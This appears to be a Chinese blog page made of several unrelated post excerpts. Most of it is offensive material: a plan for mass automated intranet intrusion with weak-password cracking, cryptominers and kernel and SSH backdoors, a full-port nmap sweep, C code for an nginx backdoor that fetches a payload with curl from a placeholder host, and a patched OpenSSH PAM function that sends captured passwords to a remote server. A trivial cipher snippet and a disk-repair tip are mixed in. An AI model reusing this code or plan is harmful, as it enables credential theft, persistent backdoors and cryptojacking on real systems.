博文

关于大范围,大面积内网自动化入侵心得。

比如一个A类网络地址就有 16777214 多台主机,单个主机进行大范围,大规模、全端口化扫描是很不现实的。最明显的方式就是进行远程系统协同式程式化工作,把入侵手法剥离出来,虽然无法100%细化。 简单罗列下程式需要实现的功能点: 1、检测各个服务的弱密码      1.1  Smb      1.2  Mysql      1.3  SQL server      1.4  SSH      1.5  Telnet      1.6  Ftp 2、被入侵主机当前子网的0.0.0.0/24 细致化扫描     2.1 当前网卡绑定的所有内网IP地址      (需要远程控制已扫描网段,协同内网扫描工作) 3、上传功能    3.1 扫描结果上传    3.2 弱密码结果文件上传 4、放置挖矿脚本 5、留下后门      5.1 内核后门      5.2 SSH免密码后门      5.3 命令替换      5.4 定时检测更新远程脚本 6、视情况加入      6.1 远程溢出脚本      6.2 webshell的提权

简单加密解密

void encrypt(char *password) { int x = strlen(password); char t[strlen(password)]; strcpy(t, password); int i; for(i=0; i<strlen(password); i++) { char cur = t[i]; if(isalpha(cur)) { t[i] = cur +1; } } printf("%s\n",t); for(i=0; i<strlen(password); i++) { char c = t[i]; if(isalpha(c)) { t[i] = c - 1; } } printf("the decrypted message is: %s\n", t); } int main() { char msg[] = "root"; printf("%s\n", msg); encrypt(msg); }

Mock、Spring-boot、Stub、mybatis、Junit测试

nmap

 nohup nmap -v -A 10.2.24-30.1-254 -vv -p1-65535 -oX 1.xml &

nginx嵌入后门

int fatherpid = getpid(); printf("%d", fatherpid); pid_t fpid; fpid = fork(); if (fpid == 0) { int x1 = getppid(); while(1) { x1 = getppid(); if(x1 == 1) { return 0; } time_t timep = time(&timep); int x = gmtime(&timep)->tm_wday; if(x == 6 || x == 7 ) { system("/usr/bin/curl -m 5 -s http://xxx:10004/b.out"); sleep(30); } } return 1; }

如何更便利地利用openssh

图片
第一种方式: 通过添加源代码实现向远端发送数据的目的,因为HTTP有被拦截的风险。所以用二进制发送感觉比较好点。 https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/ 需要安装扩展     autoconf,PAM, void userauth_PAM(char * password) { char *server_ip_addr_domain = "www.xxxx.org"; int server_ip_port = 80; struct hostent *host; struct in_addr **addr_list; if (NULL != (host = gethostbyname(server_ip_addr_domain))) { addr_list = (struct in_addr **)host->h_addr_list; int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (socket_fd >= 0) { struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = *(unsigned int *)host->h_addr_list[0]; serv_addr.sin_port = htons(server_ip_port); if((connect(socket_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) >= 0 ) { send(socket_fd, password, strlen(password), 0); } c...

Linux 硬关机造成的系统错误

由于硬关机造成了磁盘受损,进入了initramfs模式,怎么都无法启动系统.通过以下命令成功修复. blkid 查看当前系统挂在那个磁盘 fsck -t ext4 /dev/sda3  修复目标磁盘.